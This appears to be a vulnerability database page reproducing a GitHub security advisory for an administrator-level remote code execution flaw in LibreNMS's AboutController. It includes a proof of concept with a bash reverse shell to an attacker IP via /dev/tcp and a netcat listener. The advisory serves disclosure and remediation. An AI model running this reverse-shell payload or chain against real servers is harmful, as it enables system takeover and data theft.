GHSA-JF24-8G2H-2WG7

Vulnerability from github – Published: 2026-08-18 21:17 – Updated: 2026-08-18 21:17
VLAI
Summary
LibreNMS Vulnerable to Remote Code Execution via AboutController
Details

Remote Code Execution via AboutController in LibreNMS

Summary

A Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the snmpget configuration parameter to execute arbitrary system commands. When the /about endpoint is accessed, the application executes the configured binary path via shell_exec() without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access.

Severity: High (CVSS 7.2) Attack Vector: Network Privileges Required: High (Administrator) User Interaction: None Impact: Complete system compromise with web server privileges

Details

Vulnerable Code

File: app/Http/Controllers/AboutController.php Line: 85

'version_netsnmp' => str_replace('version: ', '', 
    rtrim(shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1'))),

Root Cause

The AboutController retrieves the snmpget configuration value from the database and directly concatenates it into a shell_exec() call without proper validation or escaping. While the sanitizePath() function attempts to validate executable paths by blocking special characters (;, `, #, $, |, &, ', ", >, <, (), it only prevents direct command injection. It does NOT prevent an attacker from pointing the configuration to a malicious executable file already present on the system.

Configuration Access

The snmpget configuration can be modified through the web interface:

  • Endpoint: PUT /settings/snmpget
  • Controller: SettingsController::update()
  • Required Privileges: Administrator
  • Config Definition: resources/definitions/config_definitions.json
"snmpget": {
    "default": "/usr/bin/snmpget",
    "type": "executable"
}

Validation Analysis

The sanitizePath() function in DynamicConfigItem.php:

// LibreNMS/Util/DynamicConfigItem.php:277-284
private function sanitizePath(string $path): string|false
{
    if (preg_match('/[`;#$|&\'"><(]/', $path)) {
        return false;
    }
    return realpath($path);
}

// LibreNMS/Util/DynamicConfigItem.php:107-110
} elseif ($this->type === 'executable') {
    $value == $this->sanitizePath($value);
    return $value !== false && is_file($value) && is_executable($value);
}

Attack Scenarios

Scenario Description
Insider Threat Internal admin creates malicious file → updates config → RCE
Privilege Escalation Attacker with limited access → creates file → full RCE
Supply Chain Malicious package installs binary → admin uses it → RCE

PoC

Prerequisites

  • Valid administrator credentials for LibreNMS web interface
  • Ability to create a file on the target system (via prior access, SSH, or another vulnerability)

Proof of Concept - Reverse Shell

Step 1: Create Malicious Executable

Create a reverse shell payload that connects back to the attacker:

ATTACKER_IP="172.16.69.144"
ATTACKER_PORT=9001

bash -c 'bash -i >& /dev/tcp/'$ATTACKER_IP'/'$ATTACKER_PORT' 0>&1' 2>/dev/null

Save this as /tmp/rev_shell.sh and make it executable:

chmod +x /tmp/rev_shell.sh

Step 2: Setup Netcat Listener

On your attacking machine, start a netcat listener:

nc -lvnp 9001

Step 3: Update Configuration via Web Interface

Login to LibreNMS web interface as administrator and navigate to: - Settings → External → Binaries - Locate snmpget configuration - Update the value to: /tmp/rev_shell.sh - Click Save

image

Step 4: Trigger RCE

Access the /about endpoint to execute the malicious binary:

image

Impact Summary

Category Level Description
Confidentiality HIGH Read config files, database credentials, SSH keys
Integrity HIGH Create webshells, backdoors, modify code
Availability HIGH Disrupt services, delete data, stop monitoring
Scope CHANGED Compromise extends beyond application to system

Who Is Impacted

  • LibreNMS installations where attacker has admin credentials AND file system access
  • Organizations using LibreNMS for network monitoring
  • Systems monitored by LibreNMS (lateral movement risk)

Remediation

Replace shell_exec() with Symfony Process component:

// BEFORE (vulnerable):
shell_exec(LibrenmsConfig::get('snmpget', 'snmpget') . ' -V 2>&1')

// AFTER (safe):
$process = new Process([LibrenmsConfig::get('snmpget', 'snmpget'), '-V']);
$process->run();
Severity
6.4 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "librenms/librenms"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "26.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-77",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-18T21:17:11Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "# Remote Code Execution via AboutController in LibreNMS\n\n## Summary\n\nA Remote Code Execution (RCE) vulnerability exists in LibreNMS 26.3.1 through the AboutController. An authenticated administrator can manipulate the `snmpget` configuration parameter to execute arbitrary system commands. When the `/about` endpoint is accessed, the application executes the configured binary path via `shell_exec()` without proper validation. This vulnerability leads to complete server compromise, allowing attackers to establish reverse shells, exfiltrate sensitive data, and maintain persistent access.\n\n**Severity:** High (CVSS 7.2)\n**Attack Vector:** Network\n**Privileges Required:** High (Administrator)\n**User Interaction:** None\n**Impact:** Complete system compromise with web server privileges\n\n---\n\n## Details\n\n### Vulnerable Code\n\n**File:** `app/Http/Controllers/AboutController.php`\n**Line:** 85\n\n```php\n\u0027version_netsnmp\u0027 =\u003e str_replace(\u0027version: \u0027, \u0027\u0027, \n    rtrim(shell_exec(LibrenmsConfig::get(\u0027snmpget\u0027, \u0027snmpget\u0027) . \u0027 -V 2\u003e\u00261\u0027))),\n```\n\n### Root Cause\n\nThe AboutController retrieves the `snmpget` configuration value from the database and directly concatenates it into a `shell_exec()` call without proper validation or escaping. While the `sanitizePath()` function attempts to validate executable paths by blocking special characters (`;`, `` ` ``, `#`, `$`, `|`, `\u0026`, `\u0027`, `\"`, `\u003e`, `\u003c`, `(`), it only prevents direct command injection. It does NOT prevent an attacker from pointing the configuration to a malicious executable file already present on the system.\n\n### Configuration Access\n\nThe `snmpget` configuration can be modified through the web interface:\n\n- **Endpoint:** `PUT /settings/snmpget`\n- **Controller:** `SettingsController::update()`\n- **Required Privileges:** Administrator\n- **Config Definition:** `resources/definitions/config_definitions.json`\n\n```json\n\"snmpget\": {\n    \"default\": \"/usr/bin/snmpget\",\n    \"type\": \"executable\"\n}\n```\n\n### Validation Analysis\n\nThe `sanitizePath()` function in `DynamicConfigItem.php`:\n\n```php\n// LibreNMS/Util/DynamicConfigItem.php:277-284\nprivate function sanitizePath(string $path): string|false\n{\n    if (preg_match(\u0027/[`;#$|\u0026\\\u0027\"\u003e\u003c(]/\u0027, $path)) {\n        return false;\n    }\n    return realpath($path);\n}\n\n// LibreNMS/Util/DynamicConfigItem.php:107-110\n} elseif ($this-\u003etype === \u0027executable\u0027) {\n    $value == $this-\u003esanitizePath($value);\n    return $value !== false \u0026\u0026 is_file($value) \u0026\u0026 is_executable($value);\n}\n```\n### Attack Scenarios\n\n| Scenario | Description |\n|----------|-------------|\n| **Insider Threat** | Internal admin creates malicious file \u2192 updates config \u2192 RCE |\n| **Privilege Escalation** | Attacker with limited access \u2192 creates file \u2192 full RCE |\n| **Supply Chain** | Malicious package installs binary \u2192 admin uses it \u2192 RCE |\n\n---\n\n## PoC\n\n### Prerequisites\n\n- Valid administrator credentials for LibreNMS web interface\n- Ability to create a file on the target system (via prior access, SSH, or another vulnerability)\n\n### Proof of Concept - Reverse Shell\n\n#### Step 1: Create Malicious Executable\n\nCreate a reverse shell payload that connects back to the attacker:\n\n```bash\nATTACKER_IP=\"172.16.69.144\"\nATTACKER_PORT=9001\n\nbash -c \u0027bash -i \u003e\u0026 /dev/tcp/\u0027$ATTACKER_IP\u0027/\u0027$ATTACKER_PORT\u0027 0\u003e\u00261\u0027 2\u003e/dev/null\n```\n\nSave this as `/tmp/rev_shell.sh` and make it executable:\n```bash\nchmod +x /tmp/rev_shell.sh\n```\n\n#### Step 2: Setup Netcat Listener\n\nOn your attacking machine, start a netcat listener:\n\n```bash\nnc -lvnp 9001\n```\n\n#### Step 3: Update Configuration via Web Interface\n\nLogin to LibreNMS web interface as administrator and navigate to:\n- **Settings** \u2192 **External** \u2192 **Binaries**\n- Locate **snmpget** configuration\n- Update the value to: `/tmp/rev_shell.sh`\n- Click **Save**\n\n\u003cimg width=\"1919\" height=\"848\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f4f78425-396e-4dc3-a11f-a33f0f6f7fa3\" /\u003e\n\n#### Step 4: Trigger RCE\n\nAccess the `/about` endpoint to execute the malicious binary:\n\n\u003cimg width=\"1861\" height=\"957\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4d3da8b9-1ec4-4703-bede-9e485e45726b\" /\u003e\n\n---\n\n## Impact Summary\n\n| Category | Level | Description |\n|----------|-------|-------------|\n| **Confidentiality** | HIGH | Read config files, database credentials, SSH keys |\n| **Integrity** | HIGH | Create webshells, backdoors, modify code |\n| **Availability** | HIGH | Disrupt services, delete data, stop monitoring |\n| **Scope** | CHANGED | Compromise extends beyond application to system |\n\n### Who Is Impacted\n- LibreNMS installations where attacker has admin credentials AND file system access\n- Organizations using LibreNMS for network monitoring\n- Systems monitored by LibreNMS (lateral movement risk)\n\n\n---\n\n## Remediation\n\nReplace `shell_exec()` with Symfony Process component:\n\n```php\n// BEFORE (vulnerable):\nshell_exec(LibrenmsConfig::get(\u0027snmpget\u0027, \u0027snmpget\u0027) . \u0027 -V 2\u003e\u00261\u0027)\n\n// AFTER (safe):\n$process = new Process([LibrenmsConfig::get(\u0027snmpget\u0027, \u0027snmpget\u0027), \u0027-V\u0027]);\n$process-\u003erun();\n```",
  "id": "GHSA-jf24-8g2h-2wg7",
  "modified": "2026-08-18T21:17:11Z",
  "published": "2026-08-18T21:17:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/security/advisories/GHSA-jf24-8g2h-2wg7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/librenms/librenms"
    },
    {
      "type": "WEB",
      "url": "https://github.com/librenms/librenms/releases/tag/26.5.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "LibreNMS Vulnerable to Remote Code Execution via AboutController"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.





Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.